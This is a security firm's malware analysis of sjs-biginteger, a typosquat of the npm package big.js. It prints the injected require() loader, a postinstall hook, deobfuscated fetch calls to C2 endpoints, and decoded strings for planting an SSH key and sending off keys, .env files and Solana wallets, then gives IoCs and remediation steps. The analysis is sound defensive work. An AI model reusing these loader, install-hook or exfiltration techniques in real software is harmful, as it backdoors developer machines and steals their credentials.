Malicious sjs-biginteger Implants SSH Backdoor

10 min read

Table of Contents

TL;DR

sjs-biginteger typosquats big.js on npm. Throwaway account vanes.s.p.orit.a published it on April 7, 2026. The package carries a five-line loader injected into big.js at line 605 and pulls in a malicious dependency sjs-lint-build1 whose postinstall hook runs the same payload. Either trigger fetches the attacker’s SSH public key from a C2 server, appends it to ~/.ssh/authorized_keys, opens firewall port 22, and then exfiltrates SSH keys, .env files, Solana wallet files (id.json, config.toml), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.

Impact:

  • Implants an SSH backdoor by injecting the attacker’s public key into ~/.ssh/authorized_keys
  • Opens firewall port 22 via sudo ufw allow 22/tcp and enables the firewall
  • Runs sudo chown -R to fix SSH directory permissions
  • Exfiltrates existing SSH keys, .env files, id.json (Solana wallets), and config.toml files
  • Harvests environment variables (USER, USERNAME, LOGNAME, HOME)
  • Fingerprints the system (public IP, platform, CPU info, username)
  • Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows

Indicators of Compromise (IoC):

IndicatorValue
Package[email protected], [email protected]
Dependency[email protected]
Maintainervanes.s.p.orit.a <[email protected]>
C2hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key
C2hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns
C2hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns
C2hxxps://cloudflareinsights[.]vercel[.]app/api/v1
C2hxxps://cloudflarefirewall[.]vercel[.]app/api/v1
Postinstallnode test.js (in sjs-lint-build1)
SHA-25655bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9 ([email protected])
SHA-25602a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07 ([email protected])
SHA-2569d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7 ([email protected])
BackdoorAttacker’s SSH key appended to ~/.ssh/authorized_keys
Firewallsudo ufw allow 22/tcp, sudo ufw enable
Attacker SSH keyssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]
AttributionLikely linked to the dev-protocol / Polymarket bot campaign (StepSecurity, Feb 2026)

Analysis

Package Overview

Two versions landed on npm within 40 minutes on April 7, 2026: 5.0.5 at 19:32 UTC and 5.0.6 at 20:13 UTC. The publisher vanes.s.p.orit.a owns two packages total: sjs-biginteger and sjs-lint-build1.

The attacker copied big.js metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:

sjs-biginteger/package.json
"author": {
"name": "Michael Mclaughlin",
"email": "[email protected]"
},
"repository": {
"type": "git",
"url": "https://github.com/MikeMcl/big.js.git"
}

The npm registry shows the real publisher:

npm view sjs-biginteger maintainers
# vanes.s.p.orit.a <[email protected]>

We downloaded [email protected] from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.

// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js
603a605,609
> try {
> const doc = require("sjs-lint-build1");
> doc.from_str().then(e => { }).catch(e => { })
> } catch (error) {
> }

This injection runs at import time. It gives the attacker a second execution trigger independent of the postinstall hook: any application that later does require("sjs-biginteger") fires the payload again.

Diffing [email protected] against 5.0.6 (diff -rq v5.0.5/package v5.0.6/package), big.js, big.mjs, LICENCE.md, and README.md are byte-identical across both versions. Only package.json changed:

"sjs-lint-build1": "file:../module-npm-doc-build-v2.1"
"sjs-lint-build1": "^1.0.4"

5.0.5 referenced the payload dependency via a local filesystem path (a leftover from the attacker’s development environment), so it failed to resolve on any victim machine. 5.0.6, published 41 minutes later, is the operative version.

Execution Trigger

sjs-biginteger declares a single dependency:

sjs-biginteger/package.json
"dependencies": {
"sjs-lint-build1": "^1.0.4"
}

sjs-lint-build1 appeared one minute before sjs-biginteger, from the same account. Its package.json:

sjs-lint-build1/package.json
{
"name": "sjs-lint-build1",
"version": "1.0.4",
"main": "index.js",
"scripts": {
"postinstall": "node test.js"
},
"dependencies": {
"axios": "^1.7.0",
"child_process": "^1.0.2",
"form-data": "^4.0.0",
"os": "^0.1.2"
}
}

npm install sjs-biginteger resolves sjs-lint-build1, installs it, and fires the postinstall hook: node test.js. The 7.2 KB test.js imports from index.js (58.4 KB) and calls the exported from_str_2 function:

// sjs-lint-build1/test.js (deobfuscated structure)
const { from_str_2 } = require('.');
async function main() {
try {
await from_str_2();
} catch (e) {}
}
main();

index.js exports two entry points, both triggering the same payload infrastructure with slightly different scopes:

ExportCallerScope
from_str_2test.js postinstallBroad home-directory scan driven by C2-supplied patterns
from_strbig.js IIFE at require() timeTargeted scan of process.cwd() plus the same broad scan

The runtime path (from_str) adds a pre-step that walks the current working directory for id.json, config.toml, Config.toml, env, and .env before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its .env goes out first.

Obfuscation

Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in index.js holds 299 encoded entries resolved through multiple decoder functions at runtime.

Sample obfuscation:

// sjs-lint-build1/index.js (original obfuscated form)
const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];
function HRKFas(PzH00eY) {
var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>...";
// base91 decode using shuffled alphabet
}

We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.

Malicious Payload

The payload in index.js imports six Node.js modules:

// sjs-lint-build1/index.js (extracted require() calls)
require('axios');
require('child_process');
require('form-data');
require('fs');
require('os');
require('path');

Phase 1: C2 Configuration Fetch

Three parallel fetch() requests fire at startup:

// sjs-lint-build1/index.js (deobfuscated)
const [r1, r2, r3] = await Promise.all([
fetch('https://cloudflareinsights.vercel.app/api/ssh-key'),
fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'),
fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),
]);
const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);

The msg field from /api/ssh-key carries the attacker’s public SSH key. scanPatterns and blockPatterns control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.

During analysis on 2026-04-09 the endpoint was live and returned:

{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY [email protected]" }

The key comment [email protected] is deliberate social engineering. A Solana developer inspecting ~/.ssh/authorized_keys during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.

Phase 2: SSH Backdoor Implantation

The payload checks for ~/.ssh, creates it if missing, and appends the attacker’s key to authorized_keys:

// Decoded strings from index.js showing SSH backdoor logic
[0x9b] HOME
[0x9c] /.ssh
[0x9d] existsSync
[0x9e] mkdirSync
[0x9f] mode
[0xa2] authorized_keys
[0xa6] appendFileSync
[0xa7] sudo chown -R
[0xa8] sudo ufw enable
[0xab] sudo ufw allow 22/tcp

The code path:

  1. Read process.env.HOME and append /.ssh
  2. Create the directory with fs.mkdirSync if it doesn’t exist (with appropriate mode)
  3. Append the attacker’s SSH key (fetched from C2) to authorized_keys via fs.appendFileSync
  4. Run sudo chown -R to fix ownership of the SSH directory
  5. Run sudo ufw allow 22/tcp to open the SSH port through the firewall
  6. Run sudo ufw enable to activate the firewall rules

CI/CD environments and Docker containers run as root or with passwordless sudo. If those sudo calls succeed, the attacker has persistent SSH access.

Phase 3: Data Collection

The payload branches on process.platform, covering six Unix variants (linux, darwin, freebsd, openbsd, sunos, aix) and Windows:

// Windows-specific decoded strings
[0x84] wmic logicaldisk get name
[0x8b] ^[A-Z]:$
[0x90] C:\Users\

On Windows, wmic logicaldisk get name enumerates drives, then the payload walks C:\Users\ for credential files. On Unix, os.homedir() sets the starting point.

Targeted files:

TargetDecoded String
SSH keys/.ssh directory contents
Environment files.env
Solana walletid.json
Application configconfig.toml, Config.toml
Env variablesUSER, USERNAME, LOGNAME, HOME
System infoos.homedir(), os.cpus(), public IP

The payload walks directories with fs.readdirSync (withFileTypes) and path.join, following the scanPatterns and blockPatterns from the C2.

Phase 4: Exfiltration

The payload uploads collected files via axios.post to two endpoints:

// Decoded exfiltration strings
[0xc4] basename
[0xc5] file.bin
[0xc6] post
[0xc8] Content-Type
[0xc9] application/octet-stream
[0xca] Content-Disposition
[0xcb] attachment; filename="
[0xd7] https://cloudflarefirewall.vercel.app/api/v1
[0x124] https://cloudflareinsights.vercel.app/api/v1

Each file goes out as binary application/octet-stream with a Content-Disposition header. Each upload also carries a metadata block:

// Exfiltration metadata fields
[0xf8] username
[0x100] created
[0x101] publicIp
[0x102] platform
[0xff] stringify
[0xfe] meta

The payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: cloudflareinsights[.]vercel[.]app and cloudflarefirewall[.]vercel[.]app.

C2 Infrastructure

Two Vercel-hosted domains, both named to pass casual inspection of network logs:

DomainRole
cloudflareinsights[.]vercel[.]appConfiguration delivery (/api/ssh-key, /api/scan-patterns, /api/block-patterns) and data exfiltration (/api/v1)
cloudflarefirewall[.]vercel[.]appSecondary exfiltration endpoint (/api/v1)

Vercel’s free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The cloudflareinsights and cloudflarefirewall names mimic legitimate Cloudflare products.

Attribution

The sjs-biginteger behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity documented on 2026-02-26. The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.

IndicatorThis campaign (sjs-biginteger, 2026-04-07)StepSecurity wave (2026-02-26)
Typosquat targetbig.jsbig.js (ts-bign), bignumber.js (big-nunber)
Dropper → payloadsjs-bigintegersjs-lint-build1ts-bignlint-builder, big-nunberlevex-refa
Execution triggerpostinstall: node test.jspostinstall: node test.js
Entry exportfrom_str()from_str()
SSH backdoor sequencesudo chown -R, sudo ufw enable, sudo ufw allow 22/tcpIdentical
Targeted filesid.json, config.toml, Config.toml, .env, envid.json, config.toml, Config.toml, .env, *.env
Commander C2cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key}cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns}
File-exfil C2cloudflarefirewall[.]vercel[.]app/api/v1cloudflareguard[.]vercel[.]app/api/v1
Exfil metadatausername prepended to fileusername@localIP prepended to file
Persona[email protected] in attacker SSH key commentDelivered via “Polymarket copytrading bot” GitHub repos

The commander host cloudflareinsights[.]vercel[.]app is reused byte-for-byte across both waves, and every endpoint path (/api/v1, /api/scan-patterns, /api/block-patterns) matches. The file-exfil hostname rotated (cloudflareguardcloudflarefirewall) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.

Two things changed between waves:

  1. Delivery vector. The February wave was seeded through the hijacked dev-protocol GitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload.
  2. Obfuscator. The February samples used a J2TEAM-style obfuscator; sjs-lint-build1 uses a scope-nested basE91 scheme with 35 distinct alphabets in index.js, each scoped to its own function body. This likely evades signatures trained on the earlier samples.

The sjs-lint-build1 package name is also notable: it echoes the earlier lint-builder payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.

Hunting pivot. Any package that contacts cloudflareinsights[.]vercel[.]app should be treated as part of this cluster regardless of its npm metadata. The [email protected] SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.

Dynamic Analysis

We run eBPF-based dynamic analysis during sandboxed npm install, capturing syscall events and network connections. Sandbox execution of [email protected] confirmed both behaviors found in static analysis.

Syscall Events

Two rules triggered during the postinstall hook. The process chain sh -c node test.js matches the sjs-lint-build1 postinstall script, running as root inside the sandbox container:

sjs-biginteger-dynamic-analysis-events.csv
analysis_idruleoutputcreated_at
101KNMSKJEXTGQHBQ69YS5CCQ08Read ssh information2026-04-07T20:21:48.007131140+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh pcmdline=sh -c node test.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>April 7, 2026, 8:21 PM
201KNMSKJEXTGQHBQ69YS5CCQ08Adding ssh keys to authorized_keys2026-04-07T20:21:47.984674590+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node test.js terminal=34816 analysis_id=01KNMSKJEXTGQHBQ69YS5CCQ08 container_id=6e24009b5c3a container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA>April 7, 2026, 8:21 PM
2 rows
| 4 columns

“Adding ssh keys to authorized_keys” fired at 20:21:47 UTC when node test.js opened /root/.ssh/authorized_keys via the openat syscall, confirming the appendFileSync call found in static analysis. “Read ssh information” fired 23 milliseconds later when the same process read the /root/.ssh directory for exfiltration.

Note the ordering: the payload writes the attacker’s key first, then reads existing keys. Backdoor before exfiltration.

Network Connections

The sandbox captured all outbound IP connections during the npm install lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:

sjs-biginteger-ip-address-capture.csv
created_atanalysis_idip_addressport
1April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.340
2April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.8.340
3April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.11.340
4April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.4.340
5April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.2.340
6April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.10.340
7April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.5.340
8April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.9.340
9April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.7.340
10April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.1.340
11April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.3.340
12April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.0.340
13April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
14April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
15April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
16April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
17April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
18April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
19April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
20April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
21April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
22April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
23April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
24April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
25April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
26April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
27April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08104.16.6.34443
28April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.30
29April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.30
30April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.670
31April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.670
32April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.3443
33April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.67443
34April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.670
35April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.670
36April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.67443
37April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.30
38April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ08216.198.79.30
39April 7, 2026, 8:21 PM01KNMSKJEXTGQHBQ69YS5CCQ0864.29.17.3443
39 rows
| 4 columns

This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The 104.16.x.34 range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (registry.npmjs.org). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The 64.29.17.x and 216.198.79.x addresses could be DNS resolvers or additional CDN edges.

The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal big.js install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.

Conclusion

The authorized_keys injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:

  1. Check ~/.ssh/authorized_keys for unrecognized keys and remove them
  2. Review firewall rules for unexpected port 22 allowances
  3. Rotate all SSH keys and credentials stored in .env, id.json, and config.toml files
  4. Audit CI/CD systems where the package may have been installed with elevated privileges

References

  • vet
  • malware
  • npm
  • supply-chain
  • credential-theft

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

@fairwords npm Packages Hit by Credential Worm

@fairwords npm Packages Hit by Credential Worm

Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.